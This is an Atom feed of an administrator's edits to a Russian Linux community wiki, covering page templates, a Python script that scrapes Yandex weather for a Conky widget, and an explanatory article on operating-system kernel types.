<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>http://lorwiki.zhbert.ru/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Admin</id>
	<title>MediaWiki - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="http://lorwiki.zhbert.ru/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Admin"/>
	<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Admin"/>
	<updated>2026-10-12T23:40:53Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.39.0</generator>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=430</id>
		<title>Заглавная страница</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=430"/>
		<updated>2023-03-14T07:22:28Z</updated>

		<summary type="html">&lt;p&gt;Admin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Добро пожаловать на главную страницу Wiki-портала Linux.Org.Ru!&lt;br /&gt;
&lt;br /&gt;
{{Special:Allpages/General}}&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=429</id>
		<title>Заглавная страница</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=429"/>
		<updated>2023-03-13T18:51:51Z</updated>

		<summary type="html">&lt;p&gt;Admin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Добро пожаловать на главную страницы Wiki портала Linux.Org.Ru!&lt;br /&gt;
&lt;br /&gt;
{{Special:Allpages/General}}&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=428</id>
		<title>Заглавная страница</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&amp;diff=428"/>
		<updated>2023-02-27T18:54:43Z</updated>

		<summary type="html">&lt;p&gt;Admin: Содержимое страницы заменено на «Добро пожаловать на главную страницы Wiki портала Linux.Org.Ru!»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Добро пожаловать на главную страницы Wiki портала Linux.Org.Ru!&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Hidden_maincommands&amp;diff=427</id>
		<title>Шаблон:Hidden maincommands</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Hidden_maincommands&amp;diff=427"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
Шаблон для вставки ссылки на статью «[[Основные команды]]», точнее, на нужный ее раздел. Использовать только внутри шаблона [[Template:com]].&lt;br /&gt;
Параметры: полное имя раздела, команда, текст ссылки (опционально). Команда и текст ссылки разделены для простоты использования внутри [[Template:com]].&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&amp;lt;includeonly&amp;gt;{{#if:{{{3|}}}|[[Основные команды#{{{1}}}|{{{3}}}]]|[[Основные команды#{{{1}}}|{{{2}}}]]}}&amp;lt;/includeonly&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Com&amp;diff=425</id>
		<title>Шаблон:Com</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Com&amp;diff=425"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#switch:{{{1}}}&lt;br /&gt;
  | #default = {{#if:{{{1|}}}|&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;НЕИЗВЕСТНАЯ КОМАНДА {{{1}}}|&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;НЕТ КОМАНДЫ&amp;lt;/span&amp;gt;}}&lt;br /&gt;
  | man = {{hidden_maincommands|man — вызов справки|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | info = {{hidden_maincommands|info — вызов справки (альтернативный вариант)|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | whatis = {{hidden_maincommands|whatis — краткое описание команды|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | apropos = {{hidden_maincommands|apropos — поиск команды по ключевому слову|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | ls = {{hidden_maincommands|ls — вывод списка файлов в директории|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | cp = {{hidden_maincommands|cp — копирование|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | mv = {{hidden_maincommands|mv — переименование/перемещение|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | rm = {{hidden_maincommands|rm — удаление|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | ln = {{hidden_maincommands|ln — создание ссылки/(альтернативного имени) на файл|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | cd = {{hidden_maincommands|cd — смена директории|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | pwd = {{hidden_maincommands|pwd — вывод текущей директории|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | basename = {{hidden_maincommands|basename — вывод последней части пути к файлу|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | dirname = {{hidden_maincommands|dirname — отбросить последнюю часть пути к файлу|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | mkdir = {{hidden_maincommands|mkdir — создать директорию|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | rmdir = {{hidden_maincommands|rmdir — удалить пустую директорию|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | umask = {{hidden_maincommands|umask — Задать маску прав доступа для новых файлов и директорий.|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | chown = {{hidden_maincommands|chown — Изменить владельца файлов и директорий|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | chgrp = {{hidden_maincommands|chgrp — Изменить группу файлов и директорий|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | chmod = {{hidden_maincommands|chmod — Изменить права доступа файлов и директорий|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | tar = {{hidden_maincommands|tar — Преобразует файл или группу файлов в архив без сжатия, называем тарболом (tarfile)|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
  | mount = {{hidden_maincommands|mount — просмотр примонтированных файловых систем, монтирование/размонтирование файловых систем|{{{1}}}|{{{2|}}}}}&lt;br /&gt;
}}&lt;br /&gt;
&amp;lt;noinclude&amp;gt;&lt;br /&gt;
Шаблон для простой вставки ссылки на нужный раздел статьи «[[Основные команды]]» или (потенциально) на другую справку по команде.&lt;br /&gt;
&lt;br /&gt;
'''Применение:''' &amp;lt;tt&amp;gt;&amp;lt;nowiki&amp;gt;{{com|команда}}&amp;lt;/nowiki&amp;gt;&amp;lt;/tt&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''или:''' &amp;lt;tt&amp;gt;&amp;lt;nowiki&amp;gt;{{com|команда|текст ссылки (если он должен отличаться от команды)}}&amp;lt;/nowiki&amp;gt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
К сожалению, чтобы вставить ссылку на команду, ее нужно сначала внести в этот шаблон. Просмотрите исходник этой страницы.&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8&amp;diff=423</id>
		<title>Шаблон:Создание статьи</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8&amp;diff=423"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;inputbox&amp;gt;&lt;br /&gt;
 type=create&lt;br /&gt;
 width=74&lt;br /&gt;
 break=no&lt;br /&gt;
 placeholder=Введите название статьи&lt;br /&gt;
 inline=true&lt;br /&gt;
 buttonlabel=Создать статью&lt;br /&gt;
&amp;lt;/inputbox&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Tip&amp;diff=421</id>
		<title>Шаблон:Tip</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:Tip&amp;diff=421"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;display: inline-table; width: 75%; padding: 0.25em; margin: 0.50em; background-color: #ffffff; border: thin dotted #000000&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;display: table-cell; color: #000000; width: 75px; padding-right: 5px; text-align: right; border-right: thick solid #3366FF&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Совет&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;display: table-cell; color: #000000; padding-left: 5px&amp;quot;&amp;gt;&amp;lt;p&amp;gt;{{{content}}}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%94%D0%BE%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0&amp;diff=419</id>
		<title>Шаблон:Доработка</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%94%D0%BE%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0&amp;diff=419"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{плашка&lt;br /&gt;
|img=Доработка.jpg&lt;br /&gt;
|title=Данная статья или раздел ещё не завершены&lt;br /&gt;
|text=Кто-то посчитал, что статья или раздел ниже не содержит какой-то важной информации или имеет проблемы с вёрсткой/текстом. Указана причина: '''{{{reason|безблагодатность}}}'''{{#ifeq: {{{1}}} | nopoint | | . }}&lt;br /&gt;
|sidebar=000000&lt;br /&gt;
|background=FFFFFF&lt;br /&gt;
|category=Доработка}}&lt;br /&gt;
&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Плашка предназначена для предупреждения о недоработанных страницах.&lt;br /&gt;
&lt;br /&gt;
= Параметры =&lt;br /&gt;
&lt;br /&gt;
== reason ==&lt;br /&gt;
&lt;br /&gt;
Причина установки плашки. Вариант по умолчанию — «безблагодатность».&lt;br /&gt;
&lt;br /&gt;
== nopoint ==&lt;br /&gt;
&lt;br /&gt;
Ставится первым, аргументов не принимает, убирает точку.&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A3%D1%81%D1%82%D0%B0%D1%80%D0%B5%D0%BB%D0%BE&amp;diff=417</id>
		<title>Шаблон:Устарело</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A3%D1%81%D1%82%D0%B0%D1%80%D0%B5%D0%BB%D0%BE&amp;diff=417"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{плашка&lt;br /&gt;
|img=Danger.png&lt;br /&gt;
|title=Содержимое устарело&lt;br /&gt;
|text=Информация ниже частично устарела. Вы можете проверить её и актуализировать.&lt;br /&gt;
|sidebar=2AD618&lt;br /&gt;
|background=FFFFFF}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Плашка предназначена для предупреждения об устаревшей информации.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%9F%D0%BB%D0%B0%D1%88%D0%BA%D0%B0&amp;diff=415</id>
		<title>Шаблон:Плашка</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%9F%D0%BB%D0%B0%D1%88%D0%BA%D0%B0&amp;diff=415"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;table style=&amp;quot;&lt;br /&gt;
  clear: both;&lt;br /&gt;
  width: 80%;&lt;br /&gt;
  border: solid 1px #{{{border|000000}}};&lt;br /&gt;
  border-left: 8px solid #{{{sidebar|6666FF}}};&lt;br /&gt;
  padding: 4px;&lt;br /&gt;
  vertical-align: center;&lt;br /&gt;
  background-color: #{{{background|eeeeee}}};&lt;br /&gt;
  text-align: left;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td width=72px height=auto&amp;gt;[[Изображение: {{{img|Dialog-ok.png}}}|64px|left]]&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;vertical-align: middle&amp;quot;&amp;gt;'''{{{title|exemple}}}'''&amp;lt;br&amp;gt;{{{text|Далеко-далеко за словесными горами в стране гласных и согласных живут рыбные тексты. Вдали от всех живут они в буквенных домах на берегу Семантика большого языкового океана.}}}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
{{#if: {{{category|}}} | [[Категория:{{{category}}}]] }}&lt;br /&gt;
&amp;lt;noinclude&amp;gt;&lt;br /&gt;
== Описание аргументов ==&lt;br /&gt;
&lt;br /&gt;
=== img ===&lt;br /&gt;
&lt;br /&gt;
Изображение на плашке, должно иметь размер строго 64×64px. &lt;br /&gt;
&lt;br /&gt;
=== title ===&lt;br /&gt;
&lt;br /&gt;
Заголовок плашки.&lt;br /&gt;
&lt;br /&gt;
=== text ===&lt;br /&gt;
&lt;br /&gt;
Текст плашки.&lt;br /&gt;
&lt;br /&gt;
=== sidebar ===&lt;br /&gt;
&lt;br /&gt;
Цветовой код левой полоски:&lt;br /&gt;
&lt;br /&gt;
* Синий — 6666FF (вариант по умолчанию)&lt;br /&gt;
* Зелёный — 007700&lt;br /&gt;
* Красный — 990000&lt;br /&gt;
&lt;br /&gt;
=== background ===&lt;br /&gt;
&lt;br /&gt;
Цветовой код фона.&lt;br /&gt;
&lt;br /&gt;
Вариант по умолчанию — «EEEEEE» (серый).&lt;br /&gt;
&lt;br /&gt;
=== border ===&lt;br /&gt;
&lt;br /&gt;
Цветовой код окантовки.&lt;br /&gt;
&lt;br /&gt;
Вариант по умолчанию — «000000» (чёрный).&lt;br /&gt;
&lt;br /&gt;
=== category ===&lt;br /&gt;
&lt;br /&gt;
Категория для всех статьей с плашкой.&lt;br /&gt;
&lt;br /&gt;
По умолчанию там ничего нет.&lt;br /&gt;
&lt;br /&gt;
== Образец ==&lt;br /&gt;
[[Шаблон:Удалить]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81:%D0%9F%D0%BE%D0%B3%D0%BE%D0%B4%D0%B0_%D0%B8_Conky&amp;diff=413</id>
		<title>Яндекс:Погода и Conky</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81:%D0%9F%D0%BE%D0%B3%D0%BE%D0%B4%D0%B0_%D0%B8_Conky&amp;diff=413"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Написано по посту пользователя [https://www.linux.org.ru/people/osabio/profile osabio]. Оригинальный [https://www.linux.org.ru/forum/desktop/11202205 пост].''&lt;br /&gt;
Встроенных средств conky (без неочевидного употребления внешних wget/grep/sed/awk) не хватает на вывод погоды с какого-либо сайта. Пользователь osabio предложил скрипт для вывода текущей температуры/ветра (в текстовом режиме) с Яндекс.Погоды.&lt;br /&gt;
&lt;br /&gt;
Нужно:&lt;br /&gt;
* Conky &lt;br /&gt;
* Python 2.7&lt;br /&gt;
&lt;br /&gt;
Открываем текстовый редактор, пишем туда код ниже, и сохраняем в &amp;quot;~/weather/weather.py&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
import urllib&lt;br /&gt;
&lt;br /&gt;
from urllib.request import urlopen&lt;br /&gt;
home='/home/osabio'&lt;br /&gt;
html = urlopen(&amp;quot;https://pogoda.yandex.ru/nizhny-novgorod&amp;quot;)&lt;br /&gt;
htmls = html.read().decode('utf-8')&lt;br /&gt;
tempera=re.compile(r'&amp;lt;div\ class=&amp;quot;current\-weather__thermometer\ current\-weather__thermometer_type_now&amp;quot;&amp;gt;(.*?)&amp;lt;/div&amp;gt;')&lt;br /&gt;
temp=tempera.findall(htmls)[0].replace(&amp;quot;&amp;amp;thinsp;&amp;quot;,&amp;quot;&amp;quot;).replace(&amp;quot;°C&amp;quot;,&amp;quot;&amp;quot;)&lt;br /&gt;
windera=re.compile(r'&amp;lt;div\ class=&amp;quot;current\-weather__info\-row\ current\-weather__info\-row_type_wind&amp;quot;&amp;gt;&amp;lt;span\ class=&amp;quot;current\-weather__info\-label&amp;quot;&amp;gt;Ветер:\ &amp;lt;/span&amp;gt;\ (.*?)&amp;lt;abbr')&lt;br /&gt;
wind=windera.findall(htmls)[0]&lt;br /&gt;
kompasera=re.compile(r'&amp;lt;abbr title=&amp;quot;.*?&amp;quot;&amp;gt;(.*?)&amp;lt;/abbr&amp;gt;')&lt;br /&gt;
kompas=kompasera.findall(htmls)[0]&lt;br /&gt;
ftemp = open(home+r'/weather/temp', &amp;quot;w+&amp;quot;)&lt;br /&gt;
ftemp.write(temp)&lt;br /&gt;
ftemp.close()&lt;br /&gt;
ftemp = open(home+r'/weather/wind', &amp;quot;w+&amp;quot;)&lt;br /&gt;
ftemp.write(wind)&lt;br /&gt;
ftemp.close()&lt;br /&gt;
ftemp = open(home+r'/weather/kompas', &amp;quot;w+&amp;quot;)&lt;br /&gt;
ftemp.write(kompas)&lt;br /&gt;
ftemp.close()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также нужно будет :&lt;br /&gt;
* Исправить строчку, содержащую в себе ссылку (html=urlopen(...)), на ссылку для своего города&lt;br /&gt;
* Сменить значение переменной home на домашнюю папку своего пользователя&lt;br /&gt;
* Создать файлы для работы скрипта (выполнить нижеприведенный скрипт bash): &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir ~/weather; touch ~/weather/temp ~/weather/kompas ~/weather/wind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Настройки conkyrc в минимальном виде:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
${execi 600 python ~/weather/weather.py}\&lt;br /&gt;
${execi 600 cat ~/weather/temp} \ #Вывод температуры (число без знака градуса)&lt;br /&gt;
${execi 600 cat ~/weather/wind} \ #Вывод скорости ветра (число без едениц измерения)&lt;br /&gt;
${execi 600 cat ~/weather/kompas} \ #Вывод направления ветра (текстом: Ю, СЗ и т.п)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
С условиями conky отображения направления ветра стрелочками:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
${execi 600 python ~/weather/weather.py}\&lt;br /&gt;
\&lt;br /&gt;
${execi 600 cat ~/weather/temp} °C\&lt;br /&gt;
${execi 600 cat ~/weather/wind} М/С\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;ЮВ&amp;quot;}↖${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;СЗ&amp;quot;}↘${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;ЮЗ&amp;quot;}↗${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;СВ&amp;quot;}↙${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;С&amp;quot;}↓${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;В&amp;quot;}←${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;Ю&amp;quot;}↑${endif}\&lt;br /&gt;
${if_match &amp;quot;${execi 600 cat ~/weather/kompas}&amp;quot; == &amp;quot;З&amp;quot;}→${endif}\&lt;br /&gt;
 ${execi 600 cat ~/weather/wind}\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Получаем обновление виджета погоды каждые 10 минут. Радуемся.&lt;br /&gt;
&lt;br /&gt;
Заменить время можно по всему документу автозаменой, т.к. везде стоит 600 с. Не рекомендуется ставить время обновления меньше 61 с - Яндекс будет банить.&lt;br /&gt;
&lt;br /&gt;
P.S. Время работы скрипта - ~0,55 сек.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%AF%D0%B4%D1%80%D0%BE_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B9_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B&amp;diff=411</id>
		<title>Ядро операционной системы</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%AF%D0%B4%D1%80%D0%BE_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B9_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B&amp;diff=411"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Ядро операционной системы''' — это основная программа ОС и центральная ее часть, обеспечивающая приложениям доступ к ресурсам компьютера, таким как память, процессорное время, периферии и устройствам ввода‐вывода. Чаще всего ядро несет в себе еще возможность управления файловыми системами и сетевыми протоколами, однако не всегда. Ядра отличаются друг от друга в рамках конкретно взятой реализации. Существует четыре основных типа ядер: монолитное, микроядро, гибридное ядро и экзоядро. Также существует наноядро, которое только обрабатывает прерывания.&lt;br /&gt;
=Монолитное ядро=&lt;br /&gt;
==Собственно, монолитное ядро==&lt;br /&gt;
Монолитное ядро включает в себя непосредственно все компоненты, перечисленные выше, а также набор аппаратных абстракций. В данном случае, ядро представляет из себя одну большую программу, представляющую из себя набор процедур, которые могу вызывать друг друга в любой момент. Все драйверы устройств, сети, файловой системы и прочего включены непосредственно в ядро. С одной стороны, это помогает бороться с проблемой производительности — драйверам не надо каждый раз обращаться к ядру и переводить процессор из режима пользователя в режим ядра. С другой же появляются проблемы, связанные с безопасностью. Если крашнется один драйвер, то крашнется вся ОС. В микроядерных ОС, таких как MINIX 3, этого не произойдет. Однако самой большой проблемой чисто монолитного ядра оставалась низкая расширяемость: чтобы добавить один драйвер, приходилось перекомпилировать все ядро. Эта проблема и стала фатальным недостатком монолитного ядра. Однако со временем ее решили, в виде ядра модульного.&lt;br /&gt;
&lt;br /&gt;
==Модульное ядро==&lt;br /&gt;
Модульное ядро по сути — то же монолитное, однако с поддержкой загружаемых модулей. Что это такое? Модуль — программа, загружаемая в ядро. Например, тот или иной драйвер. Рассмотрим ситуацию: в компьютер с ОС с модульным ядром воткнули USB-накопитель, однако в ядре поддержка универсально последовательной шины отсутствует. Тогда ядро динамически (т. е. «на лету») подгружает драйвер для USB, и все становится хорошо.&lt;br /&gt;
=Микроядро=&lt;br /&gt;
В микроядре все иначе. На него наложена только одна задача — управление процессами. Остальные же вещи, такие как драйвера, сетевой стек и прочее являются пользовательскими процессами — серверами. В идеале, конечно же. На практике, без использования реального режима процессора и пространства ядра очень трудно (а то и невозможно!) описать такие вещи как планировщик задач и обработчик прерываний. Поэтому внутри микроядра все же есть что-то, помимо модели процессов. В «сферической в вакууме» микроядерной ОС MINIX 3, к примеру, в ядре находятся планировщик задач, обработчик прерываний и поддержка системных вызовов API POSIX и, собственно, IPC (межпроцессное взаимодействие).&amp;lt;ref&amp;gt;Fix me, вроде что‐то упускаю :-)&amp;lt;/ref&amp;gt;. Рассмотрим, как ОС на микроядре функционирует и как идет обмен информацией между серверами и ядром. Допустим, пользовательская программа обратилась к видеодрайверу с просьбой вывести некую информацию на экран. Тот, в свою очередь, обращается к ядру, а ядро уже предоставляет ему доступ к железу. Вообще‐то, этот «лишний» шаг в рамках каждого конкретного ядра и ОС создает проблемы с производительностью.  MINIX 3, к примеру, это аж 500 наносекунд. Однако микроядра дают огромное по своей значимости для безопасности преимущество: при отказе какого-либо сервера вся ОС не упадет. Сервер спокойно перезапустится и ОС продолжит нормальную работу. В MINIX 3 даже есть специальный сервер реинкарнации, проверяющий состояние каждого сервера и перезапускающий его при надобности.&lt;br /&gt;
=Гибридное ядро=&lt;br /&gt;
Гибридное ядро представляет из себя, собственно, гибрид микроядра и монолитного ядра. В этом типе некоторые функции возложены на ядро, а некоторые — на пользователя. На данный момент считается самым успешным типом ядра, поскольку NT и Darwin являются гибридными ядрами. Также к гибридным можно отнести ядро DragonflyBSD.&lt;br /&gt;
=Экзоядро=&lt;br /&gt;
